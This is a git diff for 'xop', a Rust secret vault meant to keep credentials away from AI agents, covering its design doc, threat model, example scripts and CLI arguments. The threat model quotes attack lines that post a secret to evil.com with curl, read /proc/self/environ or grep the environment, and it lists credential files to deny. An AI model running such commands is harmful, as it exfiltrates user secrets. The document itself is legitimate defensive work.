+│ - pre_exec: setrlimit(RLIMIT_CORE, 0, 0) (no core dumps) │ +│ - stdout/stderr = piped through guard/stdout.rs │ +│ - stdin = inherited from parent │ +│ │ │ +│ ▼ │ +│ waitpid() ─► exit code propagated │ +│ │ +│ Throughout: audit::AuditLog appends ref-only events to ~/.xop/audit.jsonl +└──────────────────────────────────────────────────────────────────────────┘ +``` + +## 5. Reference syntax (the secret grammar) + +### 5.1 On the command line + +```bash +# Explicit injection flag — preferred +xop --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- mysql ... + +# Both halves of KEY=NAME refer to vault keys (no scheme prefix in v0.2). +# KEY = env var name to inject; NAME = key in ~/.xop/key.db. +# They are usually the same string, but can differ when mapping multiple env names. +``` + +**Why bare keys (no scheme):** v0.1 had `op://` / `vault://` / `keychain://` schemes, which leaked which external backend was in use (metadata). v0.2 collapses to a single local vault — the ref is just the key name. + +### 5.2 In `--secrets-file` + +```bash +# .env.xop (safe to commit) +DB_HOST="db.prod.example.com" +DB_USER="readonly" +DB_PASS="db_pass" +SSH_KEY="ssh_key" +``` + +Lines starting with `#` are comments; empty lines ignored. + +## 6. Vault file format (`~/.xop/key.db`) + +Binary, fixed-position header for cheap parsing: + +``` +[4B magic = "XOP\1"] +[4B version = 0x0000_0001] +[16B salt = argon2id salt (random per vault)] +[12B nonce = AES-GCM nonce (random per save)] +[NB ciphertext = AES-256-GCM(key, nonce, plaintext)] +[16B tag = AES-256-GCM auth tag] +``` + +Plaintext (after decrypt) = UTF-8 TOML: +```toml +"DB_PASS" = "hunter2" +"API_KEY" = "sk-live-..." +``` + +Each `set` / `rm` rewrites the entire file (re-randomizes nonce). Vault size ≈ sum of values + ~80 bytes. Write is atomic: tmp + rename to survive partial writes. + +## 7. Authentication flow + +``` +┌─────────────────────────────────────────────────────────────────────┐ +│ init │ +│ no pre-gate (first-run; nothing to protect yet) │ +│ prompt passphrase × 2 (confirm) │ +│ generate salt + nonce + empty entries │ +│ write vault atomically (tmp + rename) │ +│ write keyring atomically (~/.xop/keyring, 0600, hex key) │ +└─────────────────────────────────────────────────────────────────────┘ +┌─────────────────────────────────────────────────────────────────────┐ +│ set / list / get / rm / run (exec mode) │ +│ 1. Pre-gate (OS-level): ALWAYS FIRST — its verdict gates keyring │ +│ local TTY (no SSH_* env): macOS LAContext │ +│ evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)│ +│ — REAL fingerprint prompt, NO password field │ +│ · pass → AllowKeyring (silent keyring OK) │ +│ · cancel/refuse (LAError -128/-5/-12/unknown) │ +│ → AuthCancelled, exit 77, op ABORTS │ +│ · no usable biometrics (-7/-8/-10/-11/-1008/...)/broken │ +│ → RequirePassphrase (keyring NOT consulted) │ +│ SSH session (SSH_TTY/SSH_CONNECTION/SSH_CLIENT): never │ +│ attempt biometrics (the dialog would pop on the local │ +│ console where the remote user can't see it) │ +│ → RequirePassphrase — user types the xop passphrase │ +│ Linux interactive: no biometric gate exists; system password │ +│ forbidden by design → RequirePassphrase │ +│ headless / non-TTY (agent/pipe/CI, `ssh host cmd` w/o pty): │ +│ gate skipped → AllowKeyring — this is the automation │ +│ path that makes `xop run` unattended │ +│ │ +│ 2. Unlock key source: │ +│ keyring::load() → Some(key) (file ~/.xop/keyring, 0600) │ +│ · mode&0o077 != 0 or non-hex → REFUSED (error) │ +│ · XOP_NO_KEYRING=1 → skip file, go to prompt │ +│ → silent; `xop run` works unattended (issue #3) │ +│ None → rpassword::prompt_password("Vault password: ") │ +│ → derive key = argon2id(passphrase, vault_salt) │ +│ (NOT macOS Keychain — rejected 2026-10-02: system dialogs │ +│ during automation; xop never calls security(1)) │ +│ │ +│ 3. AES-GCM decrypt → operate → AES-GCM re-encrypt (set/rm) │ +│ │ +│ 4. Zeroize passphrase buffer (zeroize crate, drop guard) │ +└─────────────────────────────────────────────────────────────────────┘ +``` + +**Defense in depth:** the OS gate verifies *who you are*; the unlock secret unlocks *what's stored*. Critically, the keyring is only consulted **after identity has been positively established** — a live biometric pass on the local console, or a headless automation context (no TTY). In an SSH session or on a machine without usable biometrics the gate returns `RequirePassphrase` and the user must type the xop passphrase ("管理员密码"); the keyring file is not read at all there. (User rules 2026-10-02: 能探测硬件指纹身份就行;任何时候不要让用户输入系统密码;SSH 与无指纹设备应输管理员密码.) `xop key --remove` revokes the keyring instantly. + +**Bypass:** `XOP_AUTH_BYPASS=1` env var skips the pre-gate for CI/headless tests. The unlock secret (keyring or passphrase) is still required to decrypt the vault — bypass never decrypts. And the passphrase itself can NEVER come from an env var in a release binary (`XOP_VAULT_PASSWORD` is `#[cfg(feature = "test-bypass")]`-gated; verify: `strings target/release/xop | grep XOP_VAULT_PASSWORD` → empty). + +## 8. Threat model (summary; see threat-model.md for full) + +| Threat | Mitigation | Layer | +|---|---|---| +| LLM provider logs secret in request body | Bare key names only, never values | argv parse | +| Secret in `ps e` / `/proc/PID/environ` | argv = ref text, values only in child's envp | exec | +| Child `echo $SECRET` prints to stdout | stdout pipe filter regex | runtime | +| Child `curl -d "$SECRET" https://evil.com` | `--deny-net=* --allow-net=whitelist` | network policy (stub P2) | +| Child reads `/proc/self/environ` | `--deny-read` defaults | file policy (stub P2) | +| Core dump leaks envp | `RLIMIT_CORE=0` in child pre_exec | OS | +| Audit log leaks values | Type system: `AuditEvent` has no `value` field | type | +| Vault file stolen off disk | AES-256-GCM + argon2id passphrase | at-rest | +| Attacker bypasses Touch ID | Unlock secret (keyring/passphrase) still required | two-factor | +| Keyring file stolen | 0600 enforced (load refuses bad mode); instant revoke `xop key --remove` | accepted tradeoff (threat-model T13) | + +## 9. Non-goals (v0.2) + +- ❌ External backend integration (1Password, Vault, Keychain) — explicitly removed in v0.2. Use those tools directly if you want them. +- ❌ Agent SDK / library mode (`use xop::exec(...)`) — CLI-only. +- ❌ Windows support — macOS + Linux only initially. +- ❌ Network proxy as fallback policy — prefer real OS-level enforcement (pf/iptables); http_proxy as future fallback. +- ❌ GUI confirmation prompts — policy is declared upfront; interactive prompts come later. +- ❌ Multi-user vaults / shared secrets — single-user local-only. + +## 10. Compatibility with existing ecosystem + +| Tool | Relationship to xop | +|---|---| +| [secret-agent](https://github.com/paperMoose/secret-agent) | Closest peer: self-contained vault, single machine. xop adds (1) OS-level auth gate (real Touch ID, biometrics-only) before passphrase, (2) Deno-style permission flags, (4) LLM-aware guards (`--on-leak=refuse`). secret-agent is template-based (env template string); xop is flag-based. | +| 1Password `op run` | No integration in v0.2. If you already have 1Password set up and want zero infra, use `op run` — but it doesn't have network/file policy enforcement or Touch ID gate. | +| HashiCorp Vault Agent | Sidecar model; xop is fork-style. No integration. | +| Deno permission | Conceptual debt only — Deno governs its own runtime; xop governs foreign Unix processes via OS primitives. | +| macOS Keychain | **Rejected 2026-10-02** (implemented once, then removed — `security(1)` popped system authorization dialogs mid-automation; user veto). xop stores nothing in Keychain and never calls `security(1)`. Unlock-key storage = plain file `~/.xop/keyring` (0600). | + +## 11. Implementation phases + +| Phase | Scope | Status | +|---|---|---| +| **0 — Skeleton** | All modules stubbed, clap schema complete, dry-run works | ✅ v0.1 | +| **1 — Local vault + auth gate** | `init`/`set`/`list`/`get`/`rm` + Touch ID gate + argon2id + AES-GCM + spawn pipeline | ✅ v0.2 | +| **1.5 — Unattended unlock + leak masking** | file keyring (`xop key`), OS gate always first, `set` partial-mask echo, stdout guard real filter + kill/refuse | ✅ v0.2.1 | +| **2 — Network policy** | macOS `pf` integration, Linux `iptables owner` | ⏳ P1 | +| **3 — File policy** | macOS `sandbox-exec` profile, Linux `landlock` | ⏳ P1 | +| **4 — Askpass injection** | `SSH_ASKPASS` strategy + `DISPLAY=:0` + `SSH_ASKPASS_REQUIRE=force` | ⏳ P1 | +| **5 — Library mode** | `pub use xop::exec(...)` for embedding in agents (e.g. xstudio) | ⏳ v0.3 | + +See [HANDOFF.md](../HANDOFF.md) for the next-session checklist. \ No newline at end of file diff --git a/docs/threat-model.md b/docs/threat-model.md new file mode 100644 index 0000000..85815fa --- /dev/null +++ b/docs/threat-model.md @@ -0,0 +1,153 @@ +# xop · Threat Model + +> Adversary: an AI agent running on behalf of a user, plus any compromised sub-process the agent spawns. +> Defender: xop, the user who configured the policy, the OS. +> Non-adversary: the user themselves (we trust them to provide policy). + +## T1 — LLM Provider Sees the Secret + +**Attack:** agent calls `cat ~/.xop/key.db` or `echo $DB_PASS` to "verify" a value, plaintext flows into LLM provider's request body, gets logged server-side, possibly used for training. + +**Mitigation:** +- Refs only (bare key names like `db_pass`) cross the LLM API trust boundary. +- Even if a value somehow ends up in the prompt, the `secret` flag schema enforces `KEY=NAME` shape — no scheme prefix that could leak backend identity. +- The xop CLI never takes a `--secret-value` flag. Period. There is no code path that accepts a value as an argument. + +**Residual risk:** if a vault decrypt succeeds and a *bug* causes xop to log it. Counter: `secrecy::SecretBox` with `Debug` impl that prints ``. All log macros use `%` (Display) not `?` (Debug) for secret fields. + +## T2 — Secret Visible in `ps` Output + +**Attack:** agent runs `xop --secret DB_PASS=db_pass mysql ...` then any user on the box runs `ps eww $(pgrep mysql)` and reads the envp. + +**Mitigation:** +- xop's *own* argv (visible in `ps` during xop's lifetime) contains only `--secret DB_PASS=db_pass` — the ref, not the value. +- xop is short-lived (one fork+exec per invocation), so its `ps` footprint is < 100ms. +- The child process (mysql) does receive the value in envp. This is unavoidable for envp injection. Mitigation: `--allow-net` to limit what that child can do with the secret, and `--on-leak=kill|refuse` to catch leaks. + +**Residual risk:** another process with same UID reads `/proc//environ` (Linux). Mitigation: file policy denies reads to `/proc/*/environ` (see T6). + +## T3 — Secret Visible in Shell History + +**Attack:** user (or AI) types `xop --secret DB_PASS=db_pass mysql ...`, shell records full command with `db_pass` ref. Ref itself is harmless but reveals *which vault item is in use* — sometimes metadata is sensitive. + +**Mitigation:** +- Recommend `HISTIGNORE="xop *"` in user's `.bashrc` / `.zshrc`. +- xop itself, when spawning the child, sets `HISTFILE=/dev/null` and `EXTENDED_HISTORY=0` in the child's environment if it looks like an interactive shell. +- `--secrets-file ` mode means the command line itself never has a ref — only the path to the file. + +**Residual risk:** the bare key name in the command is itself observable metadata. Out of scope for v0.2; v0.3 may add ref-to-hash translation for history scrubbing. + +## T4 — Child Prints Secret to Stdout + +**Attack:** child runs `echo $DB_PASS`, output goes to agent's context, captured in agent's logs. + +**Mitigation:** `src/guard/stdout.rs` puts a pipe filter between child stdout and the inherited tty: +- Default: regex-mask secret values with `[REDACTED:KEY]` and pass through. +- With `--on-leak=kill`: SIGKILL child, exit 77. +- With `--on-leak=refuse`: refuse to spawn at all (parse-time check on argv for patterns like `echo $DB_PASS`). + +**Residual risk:** encoding tricks (base64, hex, ROT13) evade regex. Mitigation v0.3: integrate with entropy-based detection (gitleaks-style). Out of scope for v0.2. + +## T5 — Child Exfiltrates Secret Over Network + +**Attack:** child runs `curl -d "$DB_PASS" https://evil.com/exfil`. + +**Mitigation:** `src/guard/network.rs`: +- macOS: inject `pf` rules pinning child's outbound to `--allow-net` list. Default `deny *`. +- Linux: `iptables -m owner --pid-owner ` to apply rules. +- Fallback (any Unix): `http_proxy=http://127.0.0.1:0` to break HTTP, plus `--allow-net` for HTTPS whitelist (still imperfect — agent could use raw TCP). + +**Residual risk:** child uses raw sockets, DNS tunneling, ICMP. Hard problem; v0.2 ships deny-by-default for *all* network unless allowlist provided (network policy itself is stubbed at the OS level — see HANDOFF §3). + +## T6 — Child Reads Protected Files + +**Attack:** child runs `cat /proc/self/environ` or reads `~/.ssh/id_rsa` or `~/.aws/credentials`. + +**Mitigation:** `src/guard/file.rs`: +- Pre-seeded deny list: `/proc/self/environ`, `/proc/*/environ`, `~/.ssh/id_*`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`, `~/.netrc`. +- macOS: `sandbox-exec -p ` with `(deny file-read* (subpath "/etc/shadow"))` etc. +- Linux: `landlock` ABI (kernel ≥ 5.13) for fine-grained FS ACL on the child only. + +**Residual risk:** symlink races, TOCTOU. v0.2 best-effort; v0.3 may add `(deny file-read* (subpath ...))` style checks at every openat. + +## T7 — Child Spawns a Sub-Shell to Bypass Policy + +**Attack:** child runs `bash -c 'env | grep -E PASS'`. The grandchild inherits envp and stdout, bypassing xop's stdout pipe (because the grandchild's stdout is still the pipe xop set up — actually, this *doesn't* bypass the pipe — bash will write to inherited fd 1, which is the pipe). + +**Reality check:** descendants inherit the file descriptors xop set up, including stdout pipe. So `src/guard/stdout.rs` *does* still catch their stdout. Good. + +**Mitigation:** xop sets `BASH_ENV=` and `ENV=` to empty in child envp to prevent startup files from injecting wrapper scripts. Also `set +o history` if interactive shell detected. + +**Residual risk:** child execs a binary that re-opens `/dev/tty` directly. Hard to detect. v0.2 acceptable risk; v0.3 may add `ptrace` on Linux for syscall auditing. + +## T8 — Core Dump Leaks Envp + +**Attack:** child crashes (SIGSEGV), kernel writes core dump to `/var/lib/systemd/coredump` or `core.`. Envp visible. + +**Mitigation:** xop sets `RLIMIT_CORE=0` in child before exec via `cmd.pre_exec(|| setrlimit(RLIMIT_CORE, 0, 0))`. macOS sets `CORE_FILE_SIZE=0` similarly. + +## T9 — Audit Log Itself Leaks + +**Attack:** audit log JSONL file at `~/.xop/audit.jsonl` accumulates. If filesystem is later exfiltrated, secrets leak. + +**Mitigation:** `src/audit.rs` writes ONLY refs and metadata, never values. Type system enforces this: `AuditEvent` has fields `ref: String`, `backend: String`, `child_pid: u32`, `policy_hash: String` — no `value: String` field exists. Invariant test (`audit::tests::no_value_field_in_any_event`) scans for `"value":`, `"plaintext":`, `"ciphertext":`, `"passphrase":` substrings in every test event. + +## T10 — Vault File Stolen Off Disk + +**Attack:** attacker gets filesystem read access (laptop theft, backup exfil, malicious process). They grab `~/.xop/key.db`. + +**Mitigation:** +- Vault is encrypted at rest: AES-256-GCM with 256-bit key derived via `argon2id(passphrase, salt)`. +- Argon2id parameters: m=64 MiB, t=3, p=4 — chosen to take ~250ms per attempt on modern CPUs, defeating offline brute force. +- Salt is 16 bytes random per vault (header), so rainbow tables are useless. +- Per-save nonce is 12 bytes random — AES-GCM guarantees ciphertext indistinguishability across writes of the same plaintext. +- Auth tag (GMAC) detects tampering. + +**Residual risk (v0.2.1):** if the attacker can also read `~/.xop/keyring` (same-UID process, or a backup that grabs the whole `~/.xop` dir), the passphrase factor is gone — the hex key decrypts the vault directly. Protections: keyring mode 0600 + dir 0700, `load()` REFUSES any group/other-readable file, `xop key --remove` revokes instantly, `XOP_NO_KEYRING=1` forces typing. Same-UID malware can equally type-jack a live terminal, so this does not widen the classic threat surface — but it IS the accepted tradeoff that makes `xop run` unattended-able. Threat T13 below covers it. Also: weak passphrase — future v0.3 may add zxcvbn-style strength meter during `init`. + +## T11 — Attacker Bypasses OS Auth (Touch ID) + +**Attack:** attacker tricks macOS Touch ID (e.g. sleeping laptop with fingerprint on sensor). + +**Mitigation:** OS auth is *only a pre-gate* — bypassing it still leaves the attacker needing the unlock secret (typed passphrase or keyring file). The keyring NEVER substitutes for the gate: `Vault::open` runs `auth::authenticate()` first, and the gate's verdict decides keyring eligibility (`auth::decide`): silent keyring unlock is allowed only after a **live biometric verification** on the local console, or in a **headless automation context** (no TTY). Everywhere identity cannot be biometrically proven — **SSH sessions** (a biometric prompt would pop on the wrong screen: the local console), devices with no enrolled/available biometrics, broken osascript, Linux interactive — the operation **requires the typed xop passphrase and does not consult the keyring at all**. Biometric alone never reveals plaintext. Since 2026-10-02 the prompt is **biometrics-only LAContext**: cancelling it (LAError -128/-5/-12) hard-refuses the operation (exit 77) instead of silently degrading, and there is no password option in the dialog — the system login password is never offered as a fallback. + +**Residual risk:** if the attacker also has the passphrase or the keyring (see T13), they're in. Out of scope. + +## T12 — Race Condition: Ref Resolved After Spawn + +**Attack:** xop resolves ref, then spawns child. Between resolution and execve, a debugger attaches to xop, reads its memory. + +**Mitigation:** resolution is synchronous and <1ms; debugger attachment is the threat model of "local attacker has root" which is game over anyway. Out of scope. + +## T13 — Keyring File Stolen (v0.2.1) + +**Attack:** malware running as the same UID (or a stolen/loose backup of `~/.xop`) reads `~/.xop/keyring` — the hex argon2-derived key — and decrypts `~/.xop/key.db` without ever knowing the passphrase. + +**Mitigation:** +- This is an **explicitly accepted tradeoff** (user decision 2026-10-02): the alternative — macOS Keychain storage — popped system authorization dialogs during automation and was rejected outright. +- File mode 0600, dir `~/.xop` 0700, atomic write via tmp+rename. +- `keyring::load_at` **refuses** any file whose mode has group/other bits set (error, not silent use) and any non-64-hex content. +- Instant revocation: `xop key --remove` (or `xop reset --yes`, which cascades). +- Per-invocation opt-out: `XOP_NO_KEYRING=1` forces passphrase typing. +- Same-UID is the boundary: a same-UID process can also read the live terminal / keylog the typed passphrase, so the keyring does not meaningfully widen the local-threat surface — it moves one factor from "memory" to "disk". +- Not a remote risk: nothing exfiltrates `~/.xop` by design; backups of the dir should be treated as secret material (or exclude `keyring`). + +**Residual risk:** backups / dotfile-sync tools (Dropbox, iCloud `~` sync) copying `~/.xop/keyring` off-machine. Mitigation: sync tools honouring dir perms are outside xop's control — document "back up key.db only, never keyring", or keep the dir out of sync paths. + +## Summary table + +| # | Threat | v0.2 status | +|---|---|---| +| T1 | LLM sees secret | ✅ refs-only invariant | +| T2 | ps output | ✅ argv never has values | +| T3 | shell history | ⚠️ HISTIGNORE recommendation | +| T4 | stdout leak | ✅ pipe filter implemented | +| T5 | network exfil | ⚠️ stubbed — needs pf/iptables | +| T6 | protected file reads | ⚠️ stubbed — needs sandbox-exec/landlock | +| T7 | sub-shell bypass | ✅ inherited fds catch descendants | +| T8 | core dump | ✅ RLIMIT_CORE=0 in child | +| T9 | audit log leaks | ✅ type system + scan test | +| T10 | vault file stolen | ✅ AES-256-GCM + argon2id | +| T11 | Touch ID bypass | ✅ keyring only after proven identity (biometric pass or headless); SSH/no-biometric → passphrase typed; cancel = exit 77 | +| T12 | debug attach | out of scope | +| T13 | keyring file stolen | ✅ accepted tradeoff — 0600 enforced, revoke via `xop key --remove` | \ No newline at end of file diff --git a/examples/dry-run.sh b/examples/dry-run.sh new file mode 100755 index 0000000..23d9865 --- /dev/null +++ b/examples/dry-run.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +# Dry-run demo — show effective policy without executing. +# +# This is the killer feature for AI agents: +# Agent: "Run X with these secrets." +# User: "Hold on, let me see exactly what policy you'd be running under." +# $ xop --dry-run ... +# +# No Touch ID / PAM needed, no real secrets required. Pure policy inspection. + +set -euo pipefail + +cd "$(dirname "$0")/.." + +./target/release/xop \ + --dry-run \ + --secret DB_PASS='DB_PASS' \ + --secret API_KEY='API_KEY' \ + --allow-net='mysql.internal:3306,api.internal:443' \ + --deny-net='*' \ + --deny-read='/etc/shadow,~/.aws/credentials' \ + --on-leak=kill \ + -- \ + ./deploy.sh --target=staging \ No newline at end of file diff --git a/examples/get.sh b/examples/get.sh new file mode 100755 index 0000000..0598039 --- /dev/null +++ b/examples/get.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# Read a secret — MASKED by default. +# +# `xop get` prints `su****【xop禁止将密钥泄漏】` (first 2 chars, same format +# as the stdout leak guard). This is deliberate: stdout of this command often +# lands in a model context / log / shell history, so the plaintext path must +# be an explicit human decision. +# +# Human visual inspection (plaintext, prints a stderr warning too): +# +# ./target/release/xop get DB_PASS -v +# +# DO NOT pipe the plaintext into another command, and never add -v from an +# AI agent session. To hand a secret to a child process use injection: +# +# xop run --secret MYSQL_PWD=DB_PASS --allow-net=db.local:3306 --deny-net='*' \ +# -- mysql -h db.local -u readonly mydb + +set -euo pipefail + +cd "$(dirname "$0")/.." + +KEY="${1:-YOUR_KEY_HERE}" +shift || true + +./target/release/xop get "$KEY" "$@" diff --git a/examples/init.sh b/examples/init.sh new file mode 100755 index 0000000..5169927 --- /dev/null +++ b/examples/init.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# First-time vault setup + first secret. +# +# This script is interactive: it prompts for the vault passphrase twice +# (Touch ID / PAM is NOT required for init — there is nothing to protect yet). +# +# Re-run safely? No: `xop init` refuses if the vault already exists. + +set -euo pipefail + +cd "$(dirname "$0")/.." + +./target/release/xop init + +echo "Vault created. Now store a secret:" +echo " echo \"hunter2\" | ./target/release/xop set DB_PASS" + +# Uncomment to add a sample secret automatically (you will need to pipe the value): +# echo "hunter2" | ./target/release/xop set DB_PASS \ No newline at end of file diff --git a/examples/list.sh b/examples/list.sh new file mode 100755 index 0000000..c9607c8 --- /dev/null +++ b/examples/list.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash +# List stored key names (no values). +# +# Triggers Touch ID (macOS) or pkexec (Linux) + vault passphrase prompt. + +set -euo pipefail + +cd "$(dirname "$0")/.." + +./target/release/xop list \ No newline at end of file diff --git a/examples/mysql.sh b/examples/mysql.sh new file mode 100755 index 0000000..1993193 --- /dev/null +++ b/examples/mysql.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# Real MySQL exec — secrets stored locally, gated by Touch ID / PAM + passphrase. +# +# Before running, you must have stored the secret: +# xop init # set vault passphrase +# echo "..." | xop set MYSQL_PWD # store MySQL password +# +# At spawn time, xop will: +# 1. Prompt Touch ID (macOS) or pkexec (Linux) to confirm your identity +# 2. Prompt for the vault passphrase (hidden) +# 3. Decrypt MYSQL_PWD from ~/.xop/key.db +# 4. Spawn `mysql` with MYSQL_PWD env var set +# +# Why MYSQL_PWD env var? mysql's `-p` flag leaks the password via argv +# (visible in `ps aux`). Env var avoids that exposure. + +set -euo pipefail + +cd "$(dirname "$0")/.." + +./target/release/xop \ + --secret MYSQL_PWD='MYSQL_PWD' \ + --allow-net='mysql.internal:3306' \ + --deny-net='*' \ + -- \ + mysql -h mysql.internal -u readonly -D mydb --table -e 'SELECT 1 AS connected' \ No newline at end of file diff --git a/examples/ssh.sh b/examples/ssh.sh new file mode 100755 index 0000000..b4d9628 --- /dev/null +++ b/examples/ssh.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# Real SSH exec — secrets stored locally, gated by Touch ID / PAM + passphrase. +# +# Before running, you must have stored the secret: +# xop init +# echo "..." | xop set SSH_PASS +# +# At spawn time, xop will: +# 1. Trigger Touch ID (macOS) or pkexec (Linux) to confirm your identity +# 2. Prompt for the vault passphrase (hidden) +# 3. Decrypt SSH_PASS from `~/.xop/key.db` +# 4. Spawn `ssh` with SSH_PASS in env (askpass strategy still P1) +# +# v0.2 currently passes the password via env var (fallback strategy). +# Askpass strategy (which avoids any trace in /proc//environ) is P1. + +set -euo pipefail + +cd "$(dirname "$0")/.." + +HOST="${HOST:-192.168.1.19}" +USER="${USER:-rong}" + +./target/release/xop \ + --secret SSH_PASS='ssh_pass' \ + --allow-net="${HOST}:22" \ + --deny-net='*' \ + -- \ + ssh -o StrictHostKeyChecking=accept-new \ + -o UserKnownHostsFile=/dev/null \ + "${USER}@${HOST}" \ No newline at end of file diff --git a/refs/secret-agent b/refs/secret-agent new file mode 160000 index 0000000..5b29919 --- /dev/null +++ b/refs/secret-agent @@ -0,0 +1 @@ +Subproject commit 5b29919a83184dfe5d134475f4baa9ac1ad27bc4 diff --git a/src/args.rs b/src/args.rs new file mode 100644 index 0000000..2ee05a4 --- /dev/null +++ b/src/args.rs @@ -0,0 +1,395 @@ +//! CLI argument parsing (clap derive). +//! +//! Defines the full `xop` surface. Top-level has either a subcommand +//! (init/set/list/get/rm/help) or `exec` mode (existing flags + trailing +//! command for child-process injection). + +use clap::{Parser, Subcommand, ValueEnum}; +use std::path::PathBuf; + +pub use crate::secret::{SecretRef, is_valid_env_var_name}; + +#[derive(Debug, Clone, ValueEnum, Default, PartialEq, Eq)] +pub enum LeakAction { + /// Replace detected secret with a partial mask (first 2 chars + `****` + /// + warning), pass through (default). + #[default] + Mask, + /// SIGKILL the child and exit 79. + Kill, + /// Refuse to spawn at all (parse-time check on argv). + Refuse, +} + +/// Top-level CLI. If a subcommand is present, run it. Otherwise, run exec +/// mode (`-- CMD [args]`) with the rest of the fields treated as exec flags. +#[derive(Parser, Debug, Clone)] +#[command( + name = "xop", + about = "Local encrypted secret vault with Touch ID unlock (biometrics-only gate; passphrase on SSH/no-biometric sessions)", + long_about = "xop stores secrets in an encrypted vault at ~/.xop/key.db (AES-256-GCM, \ + argon2id key derivation). Access is gated by a biometric-only Touch ID \ + prompt on the local console (xop passphrase required on SSH sessions \ + and devices without biometrics), \ + then by a user passphrase. Secrets can be injected into a child process via \ + `xop --secret KEY=NAME -- COMMAND`.", + version, + // Allow unknown flags before the subcommand is decided; clap will + // re-parse based on which mode we end up in. + disable_help_subcommand = true, +)] +pub struct Args { + #[command(subcommand)] + pub subcmd: Option, + + // ─── Exec-mode flags (ignored if a subcommand is present) ───────────── + /// Inject NAME from vault into child env as KEY. Repeatable. + /// Format: `KEY=NAME` (bare key name, looked up in `~/.xop/key.db`). + #[arg(short = 's', long = "secret", value_name = "KEY=NAME")] + pub secrets: Vec, + + /// Bulk-load `KEY=NAME` pairs from a file. One per line. + #[arg(long = "secrets-file", value_name = "PATH")] + pub secrets_file: Option, + + /// Allow outbound network from child to these hosts/ports (comma-sep). + /// Empty list = deny all network. + #[arg(long = "allow-net", value_name = "HOSTS")] + pub allow_net: Vec, + + /// Always-deny list (takes precedence over --allow-net). + #[arg(long = "deny-net", value_name = "HOSTS")] + pub deny_net: Vec, + + /// Allow child to read these paths (comma-sep). + #[arg(long = "allow-read", value_name = "PATHS")] + pub allow_read: Vec, + + /// Always-deny read (e.g. /proc/self/environ, ~/.ssh/id_*). + #[arg(long = "deny-read", value_name = "PATHS")] + pub deny_read: Vec, + + /// Action on stdout secret detection. + #[arg(long = "on-leak", value_enum, default_value_t)] + pub on_leak: LeakAction, + + /// Additional regex to mask in child stdout/stderr. + #[arg(long = "mask-pattern", value_name = "REGEX")] + pub mask_pattern: Vec, + + /// Parse + resolve + print effective policy. Never exec. + #[arg(long = "dry-run")] + pub dry_run: bool, + + /// Audit log path. Default: ~/.xop/audit.jsonl + #[arg(long = "audit", value_name = "PATH")] + pub audit: Option, + + /// Suppress color in output. + #[arg(long = "no-color")] + pub no_color: bool, + + /// Command to execute (everything after `--` or trailing flags). + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + pub exec_command: Vec, +} + +#[derive(Subcommand, Debug, Clone)] +pub enum Subcmd { + /// First-time setup: create the vault with a passphrase. + Init, + /// Store a secret (value read from TTY interactively). + Set { + /// Vault key name (e.g. `DB_PASS`). + key: String, + /// Replace existing value if present. + #[arg(short = 'f', long = "force")] + force: bool, + }, + /// List all stored key names (no values shown). + List, + /// Print a stored value MASKED by default (first 2 chars visible). + /// -v/--value prints the plaintext — human visual inspection ONLY; + /// AI agents must NEVER use -v (plaintext leaks into the model context). + Get { + /// Vault key name. + key: String, + /// Print the FULL plaintext value (human inspection only — AI agents + /// must use `xop run` injection instead of reading secrets). + #[arg(short = 'v', long = "value")] + value: bool, + }, + /// Delete a key from the vault. + Rm { + /// Vault key name. + key: String, + /// Skip confirmation prompt. + #[arg(short = 'f', long = "force")] + force: bool, + }, + /// Run a command with `xop://KEY` placeholders in argv replaced by + /// vault values. Equivalent to `xop -- CMD` but more discoverable. + /// Example: + /// xop run -- ssh xop://SSH_PASS@user@host + /// xop run -- mysql -u root -pxop://MYSQL_PASS db + Run { + /// Inject vault NAME as child env KEY (repeatable). + #[arg(short = 's', long = "secret", value_name = "KEY=NAME")] + secrets: Vec, + + /// Allow outbound network from child to these hosts (comma-sep). + #[arg(long = "allow-net", value_name = "HOSTS")] + allow_net: Vec, + + /// Always-deny network (beats --allow-net). + #[arg(long = "deny-net", value_name = "HOSTS")] + deny_net: Vec, + + /// What to do on secret leak detection. + #[arg(long = "on-leak", default_value = "mask")] + on_leak: String, + + /// Audit log path (default ~/.xop/audit.jsonl). + #[arg(long = "audit", value_name = "PATH")] + audit: Option, + + /// Print effective policy; never exec. + #[arg(long = "dry-run")] + dry_run: bool, + + /// Command + args. `xop://KEY` placeholders are replaced with the + /// decrypted value of vault key `KEY` before exec. + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + cmd: Vec, + }, + /// Reset vault (DESTRUCTIVE — deletes `~/.xop/key.db`). + /// Requires `--yes` flag to confirm. + Reset { + #[arg(long = "yes")] + yes: bool, + }, + /// Manage the auto-unlock keyring (`~/.xop/keyring`, mode 0600). + /// No flag: show status. `--save`: (re)write the unlock key (prompts + /// passphrase once). `--remove`: delete it — passphrase typing returns. + /// Note: the keyring is a plain file in `~/.xop`, NOT macOS Keychain. + Key { + #[arg(long = "save")] + save: bool, + #[arg(long = "remove")] + remove: bool, + }, +/// Print help. + Help, +} + +/// Wrapper to convert top-level `Args` into exec-mode `ExecArgs`. +impl Args { + pub fn as_exec(&self) -> ExecArgs { + ExecArgs { + secrets: self.secrets.clone(), + secrets_file: self.secrets_file.clone(), + allow_net: self.allow_net.clone(), + deny_net: self.deny_net.clone(), + allow_read: self.allow_read.clone(), + deny_read: self.deny_read.clone(), + on_leak: self.on_leak.clone(), + mask_pattern: self.mask_pattern.clone(), + dry_run: self.dry_run, + audit: self.audit.clone(), + no_color: self.no_color, + command: self.exec_command.clone(), + argv_placeholders: Vec::new(), // filled by expand_xop_placeholders in run mode + } + } +} + +/// Internal bundle for `Run` subcommand fields (passed to `run_join_and_exec`). +#[derive(Debug, Clone)] +pub struct RunInputs { + pub secrets: Vec, + pub allow_net: Vec, + pub deny_net: Vec, + pub on_leak: String, + pub audit: Option, + pub dry_run: bool, + pub cmd: Vec, +} + +/// Flags for exec mode (after subcommand is decided to be None). +#[derive(Debug, Clone)] +pub struct ExecArgs { + pub secrets: Vec, + pub secrets_file: Option, + pub allow_net: Vec, + pub deny_net: Vec, + pub allow_read: Vec, + pub 